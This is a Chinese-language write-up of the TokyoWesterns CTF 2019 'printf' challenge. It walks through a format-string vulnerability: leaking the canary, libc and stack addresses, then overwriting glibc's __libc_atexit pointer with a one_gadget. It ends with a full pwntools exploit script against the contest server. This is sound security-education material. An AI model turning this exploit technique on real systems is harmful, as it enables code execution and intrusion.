0x01 前言
printf
是TokyoWesterns CTF 2019一道格式化漏洞利用题,有意思的是,题目给的二进制程序自己实现了一个printf
函数。一般,在调用完main函数以后,程序call __libc_start_main
,继续调用exit
退出。若能够覆盖exit
中的函数指针,便可在程序退出的时候劫持程序控制流。
0x02 加载libc
题目给了3个文件,除了常规的libc还额外给了一个ld.so,ld.so用于装载libc。这里需要用到patchelf这个工具,执行以下命令,将libc和ld.so指向题目所给的文件
patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf
patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf
现在printf程序指向了题目所给libc和ld.so
~/workspace/elf # ldd printf
linux-vdso.so.1 => (0x00007ffe09ac1000)
libc.so.6 => /root/workspace/elf/libc.so.6 (0x00007fd7c5dd0000)
/root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd7c5fbb000)
0x03 分析漏洞点
保护全开
[*] '/root/workspace/elf/printf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/root/workspace/elf:/libc.so.6'
查看伪代码,sub_136E
是程序自己实现的printf函数
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 v4; // rcx
__int64 v5; // r8
__int64 v6; // r9
__int64 v7; // rdx
__int64 v8; // rcx
__int64 v9; // r8
__int64 v10; // r9
const unsigned __int16 **v11; // rax
__int64 v12; // rdx
__int64 v13; // rcx
__int64 v14; // r8
__int64 v15; // r9
__int64 v16; // rdx
__int64 v17; // rcx
__int64 v18; // r8
__int64 v19; // r9
__int64 v20; // rdx
__int64 v21; // rcx
__int64 v22; // r8
__int64 v23; // r9
int i; // [rsp+8h] [rbp-118h]
int v26; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h]
unsigned __int64 v28; // [rsp+118h] [rbp-8h]
v28 = __readfsqword(0x28u);
sub_130D();
sub_136E((__int64)"What's your name?", (__int64)a2, v3, v4, v5, v6);
v26 = read(0, buf, 0x100uLL);
buf[v26 - 1] = 0;
for ( i = 0; i < v26 - 1; ++i )
{
v11 = __ctype_b_loc();
v7 = (__int64)*v11;
if ( !((*v11)[buf[i]] & 0x4000) )
_exit(1);
}
sub_136E((__int64)"Hi, ", (__int64)buf, v7, v8, v9, v10);
sub_136E((__int64)buf, (__int64)buf, v12, v13, v14, v15);
sub_136E((__int64)"Do you leave a comment?", (__int64)buf, v16, v17, v18, v19);
buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
sub_136E((__int64)buf, (__int64)buf, v20, v21, v22, v23);
return 0LL;
}
测试发现sub_136E
存在格式化漏洞
~/workspace/elf # ./printf
What's your name?
%lx %lx %lx %lx %lx %lx
Hi,
0 7f730b0db580 7f730b001024 4 7f730b0e0540 0
Do you leave a comment?
%lx %lx %lx %lx %lx %lx
7ffcfcf0ec20 100 7f730b000f81 17 7f730b0e0540 0
利用格式化漏洞分别泄漏出stack地址、canary、libc基址、程序基址
[+] Starting local process './printf': pid 21658
[*] libc.address 0x7f537407a000
[*] stack 0x7ffe1a368fa0
[*] canary 0x5bd36eedc61f6600
[*] proc_base 0x564edfcf0000
Full RELRO
开启,这里不能写got表,查看libc的exit.c
源码:
/* Copyright (C) 1991-2019 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysdep.h>
#include <libc-lock.h>
#include "exit.h"
#include "set-hooks.h"
DEFINE_HOOK (__libc_atexit, (void))
/* Initialize the flag that indicates exit function processing
is complete. See concurrency notes in stdlib/exit.h where
__exit_funcs_lock is declared. */
bool __exit_funcs_done = false;
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;
__libc_lock_lock (__exit_funcs_lock);
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
__libc_lock_unlock (__exit_funcs_lock);
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
/* Re-lock again before looking at global state. */
__libc_lock_lock (__exit_funcs_lock);
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);
}
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
注意到__libc_atexit
这个函数指针,当程序退出会调用exit函数,最终调用__libc_atexit
所指向的地址
# RUN_HOOK (__libc_atexit, ());
...
# define DEFINE_HOOK_RUNNER(name, runner, proto, args) \
DEFINE_HOOK (name, proto); \
extern void runner proto; void runner proto { RUN_HOOK (name, args); }
...
0x04 Debug
现在问题就在于如何将one_gadget
写入该地址。向buf随便输入一串字符(我这里输入one_gadget
的值),在内存检索该值,一共找到两处:
[+] Waiting for debugger: Done
[*] libc.address 0x7f591a884000
[*] stack 0x7ffcf901e290
[*] canary 0xb395c502847a3600
[*] proc_base 0x56346a570000
[*] one_gadget 0x7f591a966383
gef➤ search-pattern 0x7f591a966383
[+] Searching '\x83\x63\x96\x1a\x59\x7f' in memory
[+] In '[stack]'(0x7ffcf8fff000-0x7ffcf9020000), permission=rw-
0x7ffcf901df00 - 0x7ffcf901df18 → "\x83\x63\x96\x1a\x59\x7f[...]"
0x7ffcf901e0a0 - 0x7ffcf901e0b8 → "\x83\x63\x96\x1a\x59\x7f[...]"
gef➤ p/x 0x7ffcf901e0a0-0x7ffcf901df00
$1 = 0x1a0
设定偏移量为0x1000
pl = "%{}x{}".format(4096, p64(one_gadget))
s.ru("comment?")
s.sl(pl)
明显看到one_gadget
往上了0x1000的偏移量进行写入,由于libc位于stack的上方,通过计算合适的偏移量便可用one_gadget
覆盖__libc_atexit
[+] Waiting for debugger: Done
[*] libc.address 0x7f7142fcd000
[*] stack 0x7ffdb96518f0
[*] canary 0xeec90b90217bf000
[*] proc_base 0x5573ff19b000
[*] one_gadget 0x7f71430af383
gef➤ search-pattern 0x7f71430af383
[+] Searching '\x83\xf3\x0a\x43\x71\x7f' in memory
[+] In '[stack]'(0x7ffdb9632000-0x7ffdb9653000), permission=rw-
0x7ffdb9650570 - 0x7ffdb9650588 → "\x83\xf3\x0a\x43\x71\x7f[...]"
0x7ffdb9651706 - 0x7ffdb965171e → "\x83\xf3\x0a\x43\x71\x7f[...]"
gef➤ p/x 0x7ffdb9651706-0x7ffdb9650570
$1 = 0x1196
当调用完__libc_start_main
程序准备退出之时,跟进到libc的exit
函数调用__libc_atexit
处
───────────────────────────── code:x86:64 ────
0x7f624efde38c shr rax, 0x3
0x7f624efde390 lea r12, [rbx+rax*8+0x8]
0x7f624efde395 nop DWORD PTR [rax]
→ 0x7f624efde398 call QWORD PTR [rbx]
0x7f624efde39a add rbx, 0x8
0x7f624efde39e cmp rbx, r12
0x7f624efde3a1 jne 0x7f624efde398
0x7f624efde3a3 mov edi, ebp
0x7f624efde3a5 call 0x7f624f0788f0 <_exit>
────────────────────────────────────────────────────────────────── arguments (guessed) ────
*[rbx] (
$rdi = 0x00007f624f1af968 → 0x0000000000000000,
$rsi = 0x0000000000000001,
$rdx = 0x0000000000000000,
$rcx = 0x0000000000000000
)
可以在IDA里看到该处的代码
LABEL_42:
if ( v19 )
{
v18 = &off_1E66C8;
if ( &off_1E66C8 < (__int64 (__fastcall **)())&unk_1E66D0 )
{
do
{
(*v18)();
++v18;
}
while ( v18 != &off_1E66C8 + ((unsigned __int64)((char *)&off_1E66C8 + 7 - (char *)&off_1E66C8) >> 3) + 1 );
}
}
exit(status);
}
sub_12BDB0(dword_1EA108);
goto LABEL_42;
查看rbx的值,目标就是将0x7f7adebb46c8地址的值覆盖成one_gadget
─────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x00007f624f17d6c8 → 0x00007f624f079383 → <execvpe+979> mov rsi, rcx
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007ffd3f489360 → 0x20786c2520786c25 ("%lx %lx "?)
$rbp : 0x0
$rsi : 0x1
$rdi : 0x00007f624f1af968 → 0x0000000000000000
$rip : 0x00007f624efde398 → call QWORD PTR [rbx]
$r8 : 0x2
$r9 : 0x00007f624f183580 → 0x00007f624f183580 → [loop detected]
$r10 : 0x00007ffd3f489224 → 0x0000000000000001
$r11 : 0x2
$r12 : 0x00007f624f17d6d0 → 0x0000000000000000
$r13 : 0x1
$r14 : 0x00007f624f181108 → 0x0000000000000000
$r15 : 0x0
$eflags: [CARRY PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
来算算到达该地址所需要的偏移,这里的0x9af030ba40
便是偏移量
[+] Waiting for debugger: Done
[*] libc.address 0x7f624ef97000
[*] stack 0x7ffd3f489490
[*] canary 0x3a05dd79a9ba500
[*] proc_base 0x55a3c78fa000
[*] one_gadget 0x7f624f079383
[*] atexit_stack_diff 0x9af030ba40
gef➤ vmmap libc
Start End Offset Perm Path
0x00007f624ef97000 0x00007f624efbc000 0x0000000000000000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624efbc000 0x00007f624f12f000 0x0000000000025000 r-x /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f12f000 0x00007f624f178000 0x0000000000198000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f178000 0x00007f624f17b000 0x00000000001e0000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f17b000 0x00007f624f17e000 0x00000000001e3000 rw- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
gef➤ p/x 0x00007f624f17d6c8-0x00007f624ef97000
$1 = 0x1e66c8
gef➤ p/x 0x7f624efde398-0x00007f624ef97000
$2 = 0x47398
gef➤ p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390
$3 = 0x9af030ba38
gef➤ p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390+8
$4 = 0x9af030ba40
0x1e66c8
是__libc_atexit
相对于libc基址的偏移,可以在IDA找到该结构
__libc_atexit:00000000001E66C8 __libc_atexit segment para public 'DATA' use64
__libc_atexit:00000000001E66C8 assume cs:__libc_atexit
__libc_atexit:00000000001E66C8 ;org 1E66C8h
__libc_atexit:00000000001E66C8 off_1E66C8 dq offset fcloseall_0 ; DATA XREF: sub_47170+1FF↑o
__libc_atexit:00000000001E66C8 ; sub_5C960+1BFA↑o ...
__libc_atexit:00000000001E66C8 __libc_atexit ends
0x390
是栈内地址偏移
[+] Waiting for debugger: Done
[*] libc.address 0x7f2e14154000
[*] stack 0x7ffc707793c0
[*] canary 0x6ad3921cfee82500
[*] proc_base 0x55fcbd744000
gef➤ search-pattern 0x7f2e14236383
[+] Searching '\x83\x63\x23\x14\x2e\x7f' in memory
[+] In '[stack]'(0x7ffc7075a000-0x7ffc7077b000), permission=rw-
0x7ffc70779030 - 0x7ffc70779048 → "\x83\x63\x23\x14\x2e\x7f[...]"
0x7ffc707791d0 - 0x7ffc707791e8 → "\x83\x63\x23\x14\x2e\x7f[...]"
gef➤ p/x 0x7ffc707793c0-0x7ffc70779030
$1 = 0x390
覆盖__libc_atexit
为one_gadget
地址
0x05 get shell~
完整的EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os, sys
# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"
#context.log_level = "debug"
elf = ELF("./printf",checksec=False)
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive
if DEBUG == 1:
if context.arch == "i386":
libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
elif context.arch == "amd64":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
s = process("./printf")
elif DEBUG == 2:
if context.arch == "i386":
libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 printf")
os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 printf")
elif context.arch == "amd64":
#libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
#os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 printf")
#os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 printf")
libc = ELF("./libc.so.6")
os.system("patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf")
os.system("patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf")
s = process("./printf")
elif DEBUG == 3:
libc = ELF("./libc.so.6",checksec=False)
ip = "printf.chal.ctf.westerns.tokyo"
port = 10001
s = remote(ip,port)
def clean():
s.close()
if DEBUG == 2:
if context.arch == "i386":
os.system("patchelf --set-interpreter /lib/ld-linux.so.2 printf")
os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 printf")
if context.arch == "amd64":
os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 printf")
os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 printf")
def pwn():
#zx(0x130B)
#pause()
pl = "%lx "*((0x100-4)/4)#64
s.sla("What's your name?", pl)
s.ru("Hi, \n")
leak = s.ru("Do").split(" ")
libc.address = int(leak[2],16) - 0x10d024
stack = int(leak[39],16)
canary = int(leak[40],16)
proc_base = int(leak[41],16) - 0x2a40
one_gadget = libc.address + 0xe2383
info("libc.address 0x%x", libc.address)
info("stack 0x%x", stack)
info("canary 0x%x", canary)
info("proc_base 0x%x", proc_base)
info("one_gadget 0x%x", one_gadget)
atexit_stack_diff = stack - (libc.address + 0x1e66c8) - 0x390 + 8
info("atexit_stack_diff 0x%x", atexit_stack_diff)
pl = "%{}x{}".format(atexit_stack_diff, p64(one_gadget))
s.ru("comment?")
s.sl(pl)
s.irt()
#clean()
# TWCTF{Pudding_Pudding_Pudding_purintoehu}
if __name__ == "__main__":
pwn()
pwn~